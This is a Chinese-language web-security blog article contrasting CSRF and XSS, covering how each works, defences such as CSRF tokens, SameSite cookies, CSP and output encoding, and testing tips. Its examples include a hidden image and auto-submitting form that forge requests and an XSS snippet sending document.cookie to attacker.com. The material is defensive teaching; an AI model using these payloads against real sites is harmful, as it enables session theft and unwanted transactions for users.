您现在的位置是:网站首页 > CSRF 与 XSS 的区别文章详情

CSRF 与 XSS 的区别

CSRF 与 XSS 的基本概念

CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的前端安全威胁。CSRF 利用用户已登录的身份,在用户不知情的情况下执行非预期的操作;XSS 则是通过注入恶意脚本到网页中,窃取用户数据或执行其他恶意行为。虽然两者都涉及"跨站",但攻击方式和防御手段完全不同。

CSRF 的工作原理

CSRF 攻击依赖于用户浏览器中存储的认证信息(如 cookies)。攻击者诱导用户访问恶意网站,该网站自动向目标网站发送请求,浏览器会自动带上用户的认证信息。例如:

<!-- 恶意网站中的代码 -->
<img src="https://bank.com/transfer?amount=1000&to=attacker" width="0" height="0">

如果用户已登录 bank.com,浏览器会自动带上 session cookie,导致转账请求被成功执行。CSRF 攻击的关键在于:

  1. 用户已登录目标网站
  2. 目标网站没有足够的 CSRF 防护
  3. 攻击者能预测或知道请求参数

XSS 的工作原理

XSS 攻击分为三种类型:存储型、反射型和 DOM 型。它们的共同点是将恶意脚本注入到网页中,被浏览器执行。例如一个简单的反射型 XSS:

// 假设网站有这样的代码
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `您搜索了: ${search}`;

// 攻击者构造这样的URL
// https://example.com/search?q=<script>alert('XSS')</script>

当用户访问这个 URL 时,恶意脚本会被执行。XSS 的危害包括:

  • 窃取 cookies 和 session 信息
  • 修改页面内容
  • 重定向用户到恶意网站
  • 发起其他攻击(如 CSRF)

两者在攻击目标上的区别

CSRF 主要针对的是"状态改变"操作,如转账、修改密码、发表评论等。攻击者利用的是用户已经通过认证这一事实,而不是直接窃取认证信息。典型的 CSRF 攻击场景:

  1. 用户登录银行网站
  2. 用户访问恶意网站
  3. 恶意网站自动向银行网站发起转账请求
  4. 银行网站认为这是用户自愿的操作

XSS 则更关注于数据窃取和客户端控制。攻击者通过注入脚本获得在受害者浏览器中执行代码的能力。典型的 XSS 攻击场景:

  1. 网站存在 XSS 漏洞
  2. 攻击者注入恶意脚本
  3. 用户访问包含恶意脚本的页面
  4. 脚本在用户浏览器执行,窃取 cookies 或其他敏感信息

防御 CSRF 的主要方法

  1. CSRF Token:服务器生成随机 token 并嵌入表单,提交时验证
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机字符串">
  <!-- 其他表单字段 -->
</form>
  1. SameSite Cookie 属性:设置 cookie 的 SameSite 属性为 Strict 或 Lax
Set-Cookie: sessionid=xxxx; SameSite=Lax; Secure; HttpOnly
  1. 验证 Referer/Origin 头部:检查请求是否来自可信来源

  2. 自定义头部:对于 AJAX 请求,要求包含自定义头部

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(data)
});

防御 XSS 的主要方法

  1. 输入过滤和输出编码
// 使用文本内容而非HTML
element.textContent = userInput;

// 或者使用专门的库进行编码
function htmlEncode(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#39;');
}
  1. Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
  1. HttpOnly 和 Secure Cookie
Set-Cookie: sessionid=xxxx; HttpOnly; Secure
  1. 避免危险的 API
// 避免使用
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);

// 使用更安全的替代方案
element.textContent = userInput;

实际案例分析

CSRF 案例:某社交网站没有使用 CSRF token,攻击者可以在自己的网站上放置这样的代码:

<form action="https://social.com/post" method="POST" id="csrf">
  <input type="hidden" name="content" value="看看这个恶意链接!">
</form>
<script>document.getElementById('csrf').submit();</script>

XSS 案例:某论坛允许用户发布包含 HTML 的内容,但没有进行适当的过滤:

用户评论内容:
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

组合攻击的可能性

CSRF 和 XSS 有时会组合使用。例如,攻击者首先通过 XSS 获取 CSRF token,然后再发起 CSRF 攻击。防御这种组合攻击需要多层防护:

  1. 同时实施 CSRF 和 XSS 防护
  2. 限制敏感操作的频率
  3. 实施二次验证(如短信验证码)
  4. 监控异常行为

现代前端框架的防护

现代前端框架如 React、Vue 和 Angular 提供了一些内置的防护:

React

// 自动转义内容
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>; // 安全,内容会被转义

// 危险地设置HTML(需要显式操作)
return <div dangerouslySetInnerHTML={{__html: userInput}} />;

Vue

<!-- 自动转义 -->
<div>{{ userInput }}</div>

<!-- 危险地设置HTML -->
<div v-html="userInput"></div>

虽然框架提供了基础防护,开发者仍需注意:

  • 避免直接使用 v-html/dangerouslySetInnerHTML
  • 正确处理 URL 和样式
  • 验证来自第三方的组件

测试和验证方法

验证 CSRF 防护是否有效:

  1. 检查所有状态修改操作是否要求 CSRF token
  2. 尝试用 curl 或 Postman 复制请求,去掉 token 看是否拒绝
  3. 检查 SameSite cookie 设置是否正确

验证 XSS 防护是否有效:

  1. 尝试在所有输入点注入简单脚本:<script>alert(1)</script>
  2. 测试 DOM XSS 向量:javascript:alert(1)" onerror="alert(1)
  3. 使用自动化工具如 OWASP ZAP 或 Burp Suite 扫描
  4. 检查 CSP 是否配置正确且没有 'unsafe-inline'

相关安全头部

除了专门针对 CSRF 和 XSS 的措施,以下 HTTP 头部也能增强安全性:

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'

开发流程中的安全实践

  1. 安全代码审查:将 CSRF 和 XSS 检查纳入代码审查清单
  2. 自动化测试:在 CI/CD 流程中加入安全测试
  3. 安全培训:定期对开发团队进行安全培训
  4. 依赖管理:定期更新依赖库,避免使用已知有漏洞的版本
  5. 错误处理:确保错误信息不泄露敏感数据

性能与安全的平衡

某些安全措施可能影响用户体验或性能,需要权衡:

  1. CSRF token 增加了请求大小,但对性能影响很小
  2. 严格的 CSP 可能阻止某些合法脚本,需要仔细配置
  3. 输入验证会增加服务器负载,但不应省略
  4. 二次验证提高了安全性,但可能降低用户体验

浏览器安全特性的演进

现代浏览器不断引入新特性来对抗这些攻击:

  1. SameSite cookies:Chrome 80+ 默认将没有 SameSite 标记的 cookie 视为 Lax
  2. Trusted Types:限制危险的 DOM API,防止 XSS
// 启用 Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'
  1. Fetch Metadata:提供更多请求上下文帮助服务器判断请求合法性

常见误区与陷阱

  1. 认为 HTTPS 就能防止 CSRF:实际上 HTTPS 只加密通信,不防止 CSRF
  2. 仅在前端验证:前端验证可被绕过,必须服务器端验证
  3. 过度依赖黑名单:应使用白名单方法,只允许已知安全的输入
  4. 忽视第三方依赖:引入的第三方库可能包含漏洞
  5. 认为框架完全安全:框架只提供基础防护,错误使用仍会导致漏洞

我的名片

网名:~川~

岗位:console.log 调试员

坐标:重庆市-九龙坡区

邮箱:cc@qdcc.cn

沙漏人生

站点信息

  • 建站时间:2013/03/16
  • 本站运行
  • 文章数量
  • 总访问量
微信公众号
每次关注
都是向财富自由迈进的一步